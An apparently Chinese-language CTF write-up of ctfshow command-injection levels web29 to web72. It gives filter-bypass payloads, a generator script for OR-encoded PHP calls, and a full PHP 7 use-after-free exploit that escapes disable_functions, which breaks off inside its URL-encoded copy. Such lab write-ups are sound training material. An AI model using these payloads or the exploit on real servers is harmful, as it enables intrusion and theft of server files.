您现在的位置是:首页 >其他 >ctfshow 命令执行网站首页其他
ctfshow 命令执行
目录
web29
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
查看源码发现只过滤了flag字符串,我们只需构造如下payload即可(通配符绕过)
?c=system('cat f*'); //? 也行
也可以使用重造变量的方法来读取flag
?c=system($_GET['a']);&a=cat flag.php;
使用双引号过滤
?c=echo `cat fl''ag.php`; //反引号功能是执行系统命令
web30
<?php
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
过滤了flag,system,php限制了大小写,使用引号绕过
?c=echo `cat fl''ag.p''hp`';
# 用tac绕过对cat的过滤
# 用%09绕过对空格的过滤
?c=echo`tac%09fl*`;
# 用passthru绕过system的过滤
# tac饶过cat的过滤
?c=passthru("tac%09f*");
show_source(next(array_reverse(scandir(pos(localeconv())))));
web31
<?php
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|.| |'/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
又过滤了.和空格、cat,用重造变量的方法
?c=eval($_GET[1]);&1=echo `tac flag.php`
web32
<?php
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|.| |'|`|echo|;|(/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
这题又过滤了echo,反引号,分号以及单括号,单括号,学习了别人的wp。
分号可以用?>绕过,因为PHP最后一条语句不需要分号。单括号的绕过,要用到不需要括号的函数,比如include,之后配合php伪协议读取flag.php源码,进行base64解码
payload:
?c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
web33
虽然又过滤了一个双引号,但无伤大雅,继续用上一题的伪协议思路即可
web34
虽然又又过滤了冒号,但只对参数c进行了过滤,我们依旧可以用上一题的payload
?c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
web35
虽然叒过滤了<,但对参数c依旧无伤大雅,同上题
web36
这题新增了0-9数字的限制,但我们只需将get传参的内容改为字母即可
?c=include$_GET[a]?>&a=php://filter/convert.base64-encode/resource=flag.php
web37
<?php
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c);
echo $flag;
}
}else{
highlight_file(__FILE__);
}
过滤了flag,我们利用data协议
?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
//编码是<?php system('cat flag.php');?>
//或者
?c=data://text/plain,<?php system('cat fla*');?>
web38
新增过滤了php,file我们利用data协议即可
?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
而且还有个新姿势:
我们知道php文档中,每当读取该文档时,它会查找<?php 和?>标签,然后只处理上述两个标签中的代码,并在其周围留下其他代码。
例如:
<?php
echo "Hello PHP !";
?>
//输出Hello PHP !
但还有一种简洁形式,其实在使用echo() 进行输出时,我们可以使用快捷方法。上面示例可以使用<?=标签来输出,例:
<?= "Hello PHP !"?>
说明:“<?=”是PHP的一个短的开放式标签,是echo()的快捷用法。可以用短标签代替php执行,因此会构造如下payload
?c=data://text/plain,<?=system('tac fl*');?>
web39
<?php
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c.".php");
}
}else{
highlight_file(__FILE__);
}
该题自动为我们增加了后缀php,但依旧可以data协议
data://text/plain, 这样就相当于执行了php语句,因为前面的php语句已经闭合了,所以后面的.php会被当成html页面直接显示在页面上,起不到什么作用
直接payload:
?c=data://text/plain,<?= system("cat fla*");?>
web40
<?php
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/[0-9]|~|`|@|#|\$|\%|^|&|*|(|)|-|=|+|{|[|]|}|:|'|"|,|<|.|>|/|?|\\/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
该题把中文字符都过滤了,我们只能用英文字符,参考大佬的wp,这里要用无参数的rce
先简单学习一下,参考:PHP Parametric Function RCE · sky's blog
1. localeconv():返回一包含本地数字及货币格式信息的数组。其中数组中的第一个为点号(.)
2. pos():返回数组中当前元素的值
3. scandir():获取目录下的文件
4. array_reverse():将数组逆序排列
5. next():函数将内部指针指向下一元素,并输出
6. show_source()函数对文件进行语法高亮显示,是highlight_file()别名。
7. print_r(scandir(‘.’)); 查看当前目录下的所有文件名
8. current() 函数返回数组中的当前元素(单元),默认取第一个值,pos是current的别名
1. print_r() 函数用于打印变量,以更容易理解的形式展示
2. get_defined_vars() 函数返回由所有已定义变量所组成的数组。
这里的localeconv函数返回的数组的第一个“点号”,在linux中代表当前目录,因此我们可以用参数调用到点号,进而查看当前目录的文件
print_r(localeconv());
如下图第一个元素为点号
利用上述结论可以构造如下payload:
print_r(scandir(pos(localeconv()))); //查看点号(也就是当前目录下的文件)
如上图看到有flag.php文件,处于倒数第二个位置
在补充如下知识点
array_reverse() 函数以相反的元素顺序返回数组
next() 函数将内部指针指向数组中的下一个元素,并输出。
highlight_file() 函数对文件进行 PHP 语法高亮显示。语法通过使用 HTML 标签进行高亮。同时整个文件也会显示出来
//构造如下payload:
highlight_file(next(array_reverse((scandir(pos(localeconv()))))));
//上述先用第一个函数将数组元素顺序颠倒,随后用next函数,将指针指向flag的位置,最终用高亮显示,将了flag文件回显
或者
#pos()与current()作用相同 readfile()与作用相同highlight_file()
?c=readfile(next(array_reverse(scandir(current(localeconv())))));
#show_source()与作用相同highlight_file()
?c=show_source(next(array_reverse(scandir(pos(localeconv())))));
还有第二个方法:详情可看上文中链接文章
首先get_defined_vars()
函数可以回显全局变量,我们配合利用var_dump返回全局变量数组内容
如上图我们可以利用get传参,写入我们的命令,首先要方法取出其中的参数
利用pos返回当前元素的值
在通过end函数使指针指向数组中的最后一个单元,并返回该单元的值,在此之前先通过get传入一个参数数据
再用end函数
接着在sky写入读取flag的命令
最终payload为:
?c=eval(end(current(get_defined_vars())));&sky=system('cat flag.php');
web41
<?php
if(isset($_POST['c'])){
$c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|^|+|~|$|[|]|{|}|&|-/i', $c)){
eval("echo($c);");
}
}else{
highlight_file(__FILE__);
}
?>
这次过滤所有字母和数字以及一堆符号 但是留下了一个或运算符 |
参考大佬的wp这题需要用脚本,利用或运算符进行绕过
这里可以尝试从ascii为0-255的字符中,找到或运算能得到我们可用的字符的字符。
# 生成可用字符的集合
# rce_or.php
<?php
$myfile = fopen("rce_or.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) {
for ($j=0; $j <256 ; $j++) {
if($i<16){
$hex_i='0'.dechex($i);
}
else{
$hex_i=dechex($i);
}
if($j<16){
$hex_j='0'.dechex($j);
}
else{
$hex_j=dechex($j);
}
$preg = '/[0-9]|[a-z]|^|+|~|$|[|]|{|}|&|-/i';
if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
echo "";
}
else{
$a='%'.$hex_i;
$b='%'.$hex_j;
$c=(urldecode($a)|urldecode($b));
if (ord($c)>=32&ord($c)<=126) {
$contents=$contents.$c." ".$a." ".$b."
";
}
}
}
}
fwrite($myfile,$contents);
fclose($myfile);
# 用法python exp.py <url>
# -*- coding: utf-8 -*-
import requests
import urllib
from sys import *
import os
os.system("php rce_or.php") #没有将php写入环境变量需手动运行
if(len(argv)!=2):
print("="*50)
print('USER:python exp.py <url>')
print("eg: python exp.py http://ctf.show/")
print("="*50)
exit(0)
url=argv[1]
def action(arg):
s1=""
s2=""
for i in arg:
f=open("rce_or.txt","r")
while True:
t=f.readline()
if t=="":
break
if t[0]==i:
#print(i)
s1+=t[2:5]
s2+=t[6:9]
break
f.close()
output="(""+s1+""|""+s2+"")"
return(output)
while True:
param=action(input("
[+] your function:") )+action(input("[+] your command:"))
data={
'c':urllib.parse.unquote(param)
}
r=requests.post(url,data=data)
print("
[*] result:
"+r.text)
web42
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
system($c." >/dev/null 2>&1");
}else{
highlight_file(__FILE__);
}
这里先了解一下代码中的>/dev/null 2>&1
>/dev/null 2>&1的意思是 将参数返回的结果重定向到黑洞文件
/dev/null文件可以被看作是一个“黑洞”文件。它等价于一个只写的的文件。所有写入它的内容都会永远丢失(因为不可读)。
/dev/null 2>&1主要意思是不进行回显,让命令回显,我们进行命令分隔
输出黑洞
1:> 代表重定向到哪里,例如:echo “123” > /home/123.txt
2:/dev/null 代表空设备文件
3:2> 表示stderr标准错误
4:& 表示等同于的意思,2>&1,表示2的输出重定向等同于1
5:1 表示stdout标准输出,系统默认值是1,所以">/dev/null"等同于 “1>/dev/null”
因此,>/dev/null 2>&1 也可以写成“1> /dev/null 2> &1”
payload:
?c=tac flag.php;ls
;前面的被执行了返回结果,后面的执行了被放入/dev/null中
web43
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/;|cat/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
这里过滤了cat与分号,构造如下payload
c=nl flag.php||
c=tac flag.php||
web44
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/;|cat|flag/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
这里又过滤了flag,我们可以使用通配符绕过或者拼接字符串的方式,payload如下
?c=tac fl''ag.php||
?c=tac fl*.php||
web45
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/;|cat|flag| /i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
这里又过滤了空格,构造如下payload
?c=tac${IFS}fl*||
也可以用%09或者<绕过 //%09是Tab的url编码
web46
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/;|cat|flag| |[0-9]|\$|*/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
这里又过滤了数字,通配符以及$,payload如下
使用?绕过对*的过滤
"?"和"*"的区别:
?只能通配某个字符,如flag.php -> fla?.php fl??.ph?
*可以通配整个字符串,如flag.php -> f*
?c=nl%09fl?g.php|| //这里%09还能用是因为,传入时会进行url解码,将其解析为Tab键
?c=tac%09fla?.php||
?c=nl<fla''g.php||
web47
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/;|cat|flag| |[0-9]|\$|*|more|less|head|sort|tail/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
过滤多了more less head sort tail,不过无伤大雅依旧用之前的payload
?c=nl%09fl?g.php||
web48
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/;|cat|flag| |[0-9]|\$|*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|`/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
过滤了sed cut awk strings od curl以及反引号,还是用上题的payload
?c=nl%09fl?g.php||
web49
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/;|cat|flag| |[0-9]|\$|*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|`|\%/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
这里过滤了% ,不过依旧无碍
c=tac%09fla?.php||
c=nl<fla''g.php||
web50
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/;|cat|flag| |[0-9]|\$|*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|`|\%|x09|x26/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
%09,以及&(x26)被过滤了,使用重定向符<>代替空格,但是<>后面不能跟有通配符,我们通过反斜杠或者引号来绕过,注:nl不支持通配符使用引号分割
payload:tac<>fl''ag.php||
web51
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/;|cat|flag| |[0-9]|\$|*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|`|\%|x09|x26/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
这里过滤了tac,可以用nl也可以字符串拼接
?c=ca <>fl''ag.php||
?c=nl<fl''ag.php||
web52
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/;|cat|flag| |[0-9]|*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|`|\%|x09|x26|>|</i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
这里又过滤了<,>但仔细观察发现$又不在黑名单了,这就好办了
?c=nl${IFS}/fl''ag||
//但这里注意flag在根目录下,并不在flag.php
web53
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/;|cat|flag| |[0-9]|*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|`|\%|x09|x26|>|</i", $c)){
echo($c);
$d = system($c);
echo "<br>".$d;
}else{
echo 'no';
}
}else{
highlight_file(__FILE__);
}
这里换成直接明了的echo,system了,那我们直接执行就行
?c=nl${IFS}/fl''ag||
web54
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|`|\%|x09|x26|>|</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
蒙了,过滤的这么彻底,彻底过滤了通配符* , 用 多个?代替
nl也被过滤了,可以使用uniq代替nl,借鉴大佬的
uniq在linux中用来去重 同时也会将去重后的文件内容显示出来,payload
?c=uniq${IFS}f???????
其他payload
#可以使用mv将flag.php文件移动到其他文件 然后访问文件拿到flag
?c=mv${IFS}fla?.php${IFS}a.txt
# 使用执行文件目录+?来绕过被过滤的命令
?c=/bin/?at${IFS}f???????
web55
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/;|[a-z]|`|\%|x09|x26|>|</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
过滤了 字母、分号、反引号、"%09"、"%26"和 <>,看看大佬
payload1:
同样是利用bin目录
bin为binary的简写主要放置一些 系统的必备执行档例如:cat、cp、chmod df、dmesg、gzip、kill、ls、mkdir、more、mount、rm、su、tar、base64等
这里我们可以利用 base64 中的64 进行通配符匹配 即 /bin/base64 flag.php
使用base64对flag.php进行加密同时使用?绕过字母的限制
?c=/???/????64%20????.??? # /bin/base64 flag.php
payload2:
利用/usr/bin目录
主要放置一些应用软件工具的必备执行档例如c++、g++、gcc、chdrv、diff、dig、du、eject、elm、free、gnome*、zip、htpasswd、kfm、ktop、last、less、locale、m4、make、man、mcopy、ncftp、newaliases、nslookup passwd、quota、smb*、wget等。
我们可以利用/usr/bin下的bzip2 意思就是说我们先将flag.php文件进行压缩,然后再将其下载
先?c=/???/???/????2 ????.???
然后在url + /flag.php.bz2 下载文件
payload3:参考无字母数字webshell
web56
<?php
// 你们在炫技吗?
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/;|[a-z]|[0-9]|\$|(|{|'|"|`|\%|x09|x26|>|</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
这里又将数字过滤了,参考无字母数字webshell之提高篇 | 离别歌 (leavesongs.com)
总结一下:shell下可以利用.来执行任意脚本
可以通过发送一个上传文件的POST包,只要是php接收到上传的POST请求(请求结束后会删除临时文件),就会将我们上传的文件保存在临时文件夹下,默认的文件名是/tmp/phpXXXXXX,文件名最后6个字符是随机的大小写字母以及数字
写一个post上传表单
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>POST数据包POC</title>
</head>
<body>
<form action="http://11a8783c-659e-4028-ab16-40fb589ef16d.challenge.ctf.show/" method="post" enctype="multipart/form-data">
<!--目标网址-->
<label for="file">文件名:</label>
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="提交">
</form>
</body>
</html>
构造POC
注:shell程序必须以"#!/bin/sh"开始,#! /bin/sh 是指此脚本使用/bin/sh来解释执行,#!是特殊的表示符,其后面跟的是解释此脚本的shell的路径
?c=.%20/???/????????[@-[]
这里注意cat flag.php下面一行不为空,即紧跟着下面的一行数字(否则不能回显,但我不知道为啥).
web57
<?php
// 还能炫的动吗?
//flag in 36.php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/;|[a-z]|[0-9]|`||#|'|"|`|\%|x09|x26|x0a|>|<|.|,|?|*|-|=|[/i", $c)){
system("cat ".$c.".php");
}
}else{
highlight_file(__FILE__);
}
这里说flag在36.php中,那么我们想办法构造处36即可.这里参考大佬的做法
这里利用 $(( ))与整数运算。想办法构造出36
双小括号 (( )) 是 Bash Shell 中专门用来进行整数运算的命令,它的效率很高,写法灵活,是企业运维中常用的运算命令。
通俗地讲,就是将数学运算表达式放在((和))之间。
表达式可以只有一个,也可以有多个,多个表达式之间以逗号,分隔。对于多个表达式的情况,以最后一个表达式的值作为整个 (( ))命令的执行结果。
可以使用$获取 (( )) 命令的结果,这和使用$获得变量值是类似的。
可以在 (( )) 前面加上$符号获取 (( )) 命令的执行结果,也即获取整个表达式的值。以 c=$((a+b)) 为例,即将 a+b 这个表达式的运算结果赋值给变量 c。
注意,类似 c=((a+b)) 这样的写法是错误的,不加$就不能取得表达式的结果。
$(())是0
$((~$(())))是-1
$(($((~$(())))$((~$(())))))是-2
这里要构造36,也就是要先构造出-37 然后取反
-37是37个$((~$(())))相加
最终payload
?c=$((~$(($((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))))))
web58
<?php
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}
这道题因为disable_functions禁用了system exec popen passthru
使用读文件函数拿flag
file_get_contents()
highlight_file()
show_source()
fgets()
file()
readfile()
没有过滤直接用
#payload1
c=highlight_file("flag.php");
#payload2
c=show_source('flag.php');
#payload3
c=$a=fopen("flag.php","r");while($b=fgets($a)){echo $b;}
c=show_source(next(array_reverse(scandir(current(localeconv())))));
c=echo file_get_contents('flag.php');
c=print_r(file('flag.php'));
web59
<?php
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}
过滤了更多函数
这些还可以用
highlight_file()
show_source()
fgets()
file()
可以用web58的payload
//在源代码
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgets($a);echo $line;}
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetc($a);echo $line;}
c=$a=fopen("flag.php","r");while (!feof($a)) {$line =fgetcsv($a);print_r($line);}
c=$a=fopen("flag.php","r");echo fread($a,"1000");
c=$a=fopen("flag.php","r");echo fpassthru($a);
web60
<?php
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}
禁用了更多函数
c=show_source("flag.php");
//奇淫巧技0.0
#通过复制,重命名读取php文件内容
c=copy("flag.php","flag.txt");
c=rename("flag.php","flag.txt");
#访问flag.txt
//之前payload还能用,自己试试
c=show_source(next(array_reverse(scandir(current(localeconv())))));
c=show_source('flag.php');
c=highlight_file('flag.php');
web61-63
<?php
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}
下列payload通杀
c=show_source(next(array_reverse(scandir(current(localeconv())))));
c=show_source('flag.php');
c=highlight_file('flag.php');
web64
<?php
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}
这题用上一题的payload也可以,但还有一个新姿势
var_dump() 函数用于输出变量的相关信息。
get_defined_vars() 函数返回由所有已定义变量所组成的数组。
因此我们用var_dump(get_defined_vars());查看一下所有的注册变量
那么我们可以注册一个包含flag.php的变量
payload如下:
c=include('flag.php');var_dump(get_defined_vars());
c=show_source(next(array_reverse(scandir(current(localeconv())))));
c=highlight_file('flag.php');
c=show_source('flag.php');
web65
web64payload都可以
web66-67
<?php
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}
这回show_source()函数被禁用了,而且flag放的位置也改变了
c=print_r(scandir("/")); #查看根目录文件 print_r被过滤可以换var_dump
# 注意根目录是flag.txt
c=highlight_file("/flag.txt");
web68
提示说highlight_file()函数也被禁用了,我们先继续查看根目录
尝试直接include包含
c=include('/flag.txt');
web69-70
这个题将var_dump也禁用了,看了下wp说是用多种遍历数组来进行
# 多种遍历数组姿势
# 1
c=$a=scandir("/");foreach($a as $value){echo $value."---";}
# 2 glob() 函数返回匹配指定模式的文件名或目录。返回的是数组
c=$a=glob("/*");foreach($a as $value){echo $value." ";}
# 3
c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");}
//这里的关键函数DirectoryIterator是PHP的原生类
web71
<?php
error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
$s = ob_get_contents();
ob_end_clean();
echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
highlight_file(__FILE__);
}
?>
你要上天吗?
新知识
ob_get_contents() 返回输出缓冲区的内容
ob_end_clean() 清空(擦除)缓冲区并关闭输出缓冲
代码执行的大概流程是 传参--命令执行--执行结果存在$s中--清空输出缓冲区--对$s进行过滤
由于清空输出缓冲区 传入的命令也就无法执行 这里要做的就是把代码终止在清空输出缓冲区之前使用exit()强制退出
c=include('/flag.txt');exit();
web72
<?php
error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
$s = ob_get_contents();
ob_end_clean();
echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
highlight_file(__FILE__);
}
?>
你要上天吗?
看了佬的wp,先输入c=var_dump(scandir('/'));发现被open_basedir()限制了且ini_set()被禁用
我们可以尝试通过glob伪协议绕过绕过open_basedir限制
payload
c=?><?php $a=new DirectoryIterator("glob:///*");
foreach($a as $f)
{echo($f->__toString().' ');
}
exit(0);
?>
利用群主提供的uaf脚本绕过open_basedir进行命令执行来包含flag0.txt
原始脚本:https://github.com/mm0r1/exploits/blob/master/php7-backtrace-bypass/exploit.php
// 只需提交函数内容 记得url编码
<?php
function ctfshow($cmd)
{
global $abc, $helper, $backtrace;
class Vuln
{
public $a;
public function __destruct()
{
global $backtrace;
unset($this->a);
$backtrace = (new Exception)->getTrace();
if (!isset($backtrace[1]['args'])) {
$backtrace = debug_backtrace();
}
}
}
class Helper
{
public $a, $b, $c, $d;
}
function str2ptr(&$str, $p = 0, $s = 8)
{
$address = 0;
for ($j = $s - 1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p + $j]);
}
return $address;
}
function ptr2str($ptr, $m = 8)
{
$out = "";
for ($i = 0; $i < $m; $i++) {
$out .= sprintf("%c", ($ptr & 0xff));
$ptr >>= 8;
}
return $out;
}
function write(&$str, $p, $v, $n = 8)
{
$i = 0;
for ($i = 0; $i < $n; $i++) {
$str[$p + $i] = sprintf("%c", ($v & 0xff));
$v >>= 8;
}
}
function leak($addr, $p = 0, $s = 8)
{
global $abc, $helper;
write($abc, 0x68, $addr + $p - 0x10);
$leak = strlen($helper->a);
if ($s != 8) {
$leak %= 2 << ($s * 8) - 1;
}
return $leak;
}
function parse_elf($base)
{
$e_type = leak($base, 0x10, 2);
$e_phoff = leak($base, 0x20);
$e_phentsize = leak($base, 0x36, 2);
$e_phnum = leak($base, 0x38, 2);
for ($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = leak($header, 0, 4);
$p_flags = leak($header, 4, 4);
$p_vaddr = leak($header, 0x10);
$p_memsz = leak($header, 0x28);
if ($p_type == 1 && $p_flags == 6) {
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if ($p_type == 1 && $p_flags == 5) {
$text_size = $p_memsz;
}
}
if (!$data_addr || !$text_size || !$data_size)
return false;
return [$data_addr, $text_size, $data_size];
}
function get_basic_funcs($base, $elf)
{
list($data_addr, $text_size, $data_size) = $elf;
for ($i = 0; $i < $data_size / 8; $i++) {
$leak = leak($data_addr, $i * 8);
if ($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
if ($deref != 0x746e6174736e6f63)
continue;
} else continue;
$leak = leak($data_addr, ($i + 4) * 8);
if ($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
if ($deref != 0x786568326e6962)
continue;
} else continue;
return $data_addr + $i * 8;
}
}
function get_binary_base($binary_leak)
{
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for ($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = leak($addr, 0, 7);
if ($leak == 0x10102464c457f) {
return $addr;
}
}
}
function get_system($basic_funcs)
{
$addr = $basic_funcs;
do {
$f_entry = leak($addr);
$f_name = leak($f_entry, 0, 6);
if ($f_name == 0x6d6574737973) {
return leak($addr + 8);
}
$addr += 0x20;
} while ($f_entry != 0);
return false;
}
function trigger_uaf($arg)
{
$arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
$vuln = new Vuln();
$vuln->a = $arg;
}
if (stristr(PHP_OS, 'WIN')) {
die('This PoC is for *nix systems only.');
}
$n_alloc = 10;
$contiguous = [];
for ($i = 0; $i < $n_alloc; $i++)
$contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
trigger_uaf('x');
$abc = $backtrace[1]['args'][0];
$helper = new Helper;
$helper->b = function ($x) {
};
if (strlen($abc) == 79 || strlen($abc) == 0) {
die("UAF failed");
}
$closure_handlers = str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8;
write($abc, 0x60, 2);
write($abc, 0x70, 6);
write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, 0xa);
$closure_obj = str2ptr($abc, 0x20);
$binary_leak = leak($closure_handlers, 8);
if (!($base = get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}
if (!($elf = parse_elf($base))) {
die("Couldn't parse ELF header");
}
if (!($basic_funcs = get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}
if (!($zif_system = get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}
$fake_obj_offset = 0xd0;
for ($i = 0; $i < 0x110; $i += 8) {
write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
}
write($abc, 0x20, $abc_addr + $fake_obj_offset);
write($abc, 0xd0 + 0x38, 1, 4);
write($abc, 0xd0 + 0x68, $zif_system);
($helper->b)($cmd);
exit();
}
ctfshow("cat /flag0.txt");
ob_end_flush();
?>
# payload
c=function%20ctfshow(%24cmd)%0A%7B%0A%20%20%20%20global%20%24abc%2C%20%24helper%2C%20%24backtrace%3B%0A%0A%20%20%20%20class%20Vuln%0A%20%20%20%20%7B%0A%20%20%20%20%20%20%20%20public%20%24a%3B%0A%0A%20%20%20%20%20%20%20%20public%20function%20__destruct()%0A%20%20%20%20%20%20%20%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20global%20%24backtrace%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20unset(%24this-%3Ea)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24backtrace%20%3D%20(new%20Exception)-%3EgetTrace()%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20if%20(!isset(%24backtrace%5B1%5D%5B'args'%5D))%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24backtrace%20%3D%20debug_backtrace()%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%7D%0A%0A%20%20%20%20class%20Helper%0A%20%20%20%20%7B%0A%20%20%20%20%20%20%20%20public%20%24a%2C%20%24b%2C%20%24c%2C%20%24d%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20str2ptr(%26%24str%2C%20%24p%20%3D%200%2C%20%24s%20%3D%208)%0A%20%20%20%20%7B%0A%20%20%20%20%20%20%20%20%24address%20%3D%200%3B%0A%20%20%20%20%20%20%20%20for%20(%24j%20%3D%20%24s%20-%201%3B%20%24j%20%3E%3D%200%3B%20%24j--)%20%7B%0A%2